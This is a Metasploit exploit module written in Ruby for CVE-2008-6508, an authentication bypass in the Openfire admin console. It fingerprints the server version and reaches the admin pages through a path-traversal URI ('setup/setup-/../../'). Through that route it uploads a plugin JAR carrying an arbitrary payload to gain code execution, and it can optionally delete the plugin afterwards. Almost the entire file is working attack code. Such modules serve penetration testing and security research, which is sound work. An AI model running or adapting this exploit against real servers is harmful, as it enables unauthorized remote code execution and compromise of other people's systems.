216 lines
6.2 KiB
Ruby
216 lines
6.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex/zip'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Openfire Admin Console Authentication Bypass',
|
|
'Description' => %q{
|
|
This module exploits an authentication bypass vulnerability in the administration
|
|
console of Openfire servers. By using this vulnerability it is possible to
|
|
upload/execute a malicious Openfire plugin on the server and execute arbitrary Java
|
|
code. This module has been tested against Openfire 3.6.0a.
|
|
|
|
It is possible to remove the uploaded plugin after execution, however this might turn
|
|
the server in some kind of unstable state, making re-exploitation difficult. You might
|
|
want to do this manually.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Andreas Kurtz', # Vulnerability discovery
|
|
'h0ng10' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-6508' ],
|
|
[ 'OSVDB', '49663' ],
|
|
[ 'BID', '32189' ],
|
|
[ 'EDB', '7075' ],
|
|
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ]
|
|
],
|
|
'DisclosureDate' => 'Nov 10 2008',
|
|
'Privileged' => true,
|
|
'Platform' => ['java', 'win', 'linux' ],
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Targets' =>
|
|
[
|
|
#
|
|
# Java version
|
|
#
|
|
[ 'Java Universal',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'java'
|
|
}
|
|
],
|
|
#
|
|
# Platform specific targets
|
|
#
|
|
[ 'Windows x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
],
|
|
[ 'Linux x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(9090),
|
|
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
|
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)' ]),
|
|
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)' ]),
|
|
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)' ]),
|
|
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
base = target_uri.path
|
|
base << '/' if base[-1, 1] != '/'
|
|
|
|
path = normalize_uri(base, "login.jsp")
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => path
|
|
})
|
|
|
|
if (not res) or (res.code != 200)
|
|
print_error("Unable to make a request to: #{path}")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
|
|
|
|
if versioncheck.nil? then
|
|
print_error("Unable to detect Openfire version")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
print_status("Detected version: #{$1}.#{$2}.#{$3}")
|
|
version = "#{$1}#{$2}#{$3}".to_i
|
|
|
|
return Exploit::CheckCode::Safe if version > 360
|
|
|
|
# Just to be sure, try to access the log page
|
|
path = "#{base}setup/setup-/../../log.jsp"
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => path
|
|
})
|
|
|
|
if (not res) or (res.code != 200)
|
|
print_error("Failed: Error requesting #{path}")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
def get_plugin_jar(plugin_name)
|
|
files = [
|
|
[ "logo_large.gif" ],
|
|
[ "logo_small.gif" ],
|
|
[ "readme.html" ],
|
|
[ "changelog.html" ],
|
|
[ "lib", "plugin-metasploit.jar" ]
|
|
]
|
|
|
|
jar = Rex::Zip::Jar.new
|
|
jar.add_files(files, File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508"))
|
|
|
|
plugin_author = datastore['PLUGINAUTHOR'] || rand_text_alphanumeric(8+rand(8))
|
|
plugin_desc = datastore['PLUGINDESC'] || rand_text_alphanumeric(8+rand(8))
|
|
|
|
plugin_xml = File.open(File.join(Msf::Config.install_root, "data", "exploits", "CVE-2008-6508", "plugin.xml"), "rb") {|fd| fd.read() }
|
|
plugin_xml.gsub!(/PLUGINNAME/, plugin_name)
|
|
plugin_xml.gsub!(/PLUGINDESCRIPTION/, plugin_desc)
|
|
plugin_xml.gsub!(/PLUGINAUTHOR/, plugin_author)
|
|
|
|
jar.add_file("plugin.xml", plugin_xml)
|
|
|
|
jar
|
|
end
|
|
|
|
def exploit
|
|
base = normalize_uri(target_uri.path)
|
|
base << '/' if base[-1, 1] != '/'
|
|
|
|
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
|
|
plugin = get_plugin_jar(plugin_name)
|
|
|
|
arch = target.arch
|
|
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
|
|
|
|
if (p = exploit_regenerate_payload(plat, arch)) == nil
|
|
print_error("Failed to regenerate payload")
|
|
return
|
|
end
|
|
|
|
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
|
|
plugin.build_manifest
|
|
|
|
# Upload the plugin to the server
|
|
print_status("Uploading plugin #{plugin_name} to the server")
|
|
boundary = rand_text_alphanumeric(6)
|
|
|
|
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
|
|
data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
|
|
data << plugin.pack
|
|
data << "\r\n--#{boundary}--"
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?uploadplugin"),
|
|
'method' => 'POST',
|
|
'data' => data,
|
|
'headers' =>
|
|
{
|
|
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
|
'Content-Length' => data.length,
|
|
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
|
}
|
|
})
|
|
|
|
|
|
print_warning("Warning: got no response from the upload, continuing...") if !res
|
|
|
|
# Delete the uploaded JAR file
|
|
if datastore['REMOVE_PLUGIN']
|
|
print_status("Deleting plugin #{plugin_name} from the server")
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(base, "setup/setup-/../../plugin-admin.jsp?deleteplugin=") + plugin_name.downcase,
|
|
'headers' =>
|
|
{
|
|
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
|
|
}
|
|
})
|
|
if not res
|
|
print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
|
|
end
|
|
end
|
|
end
|
|
end
|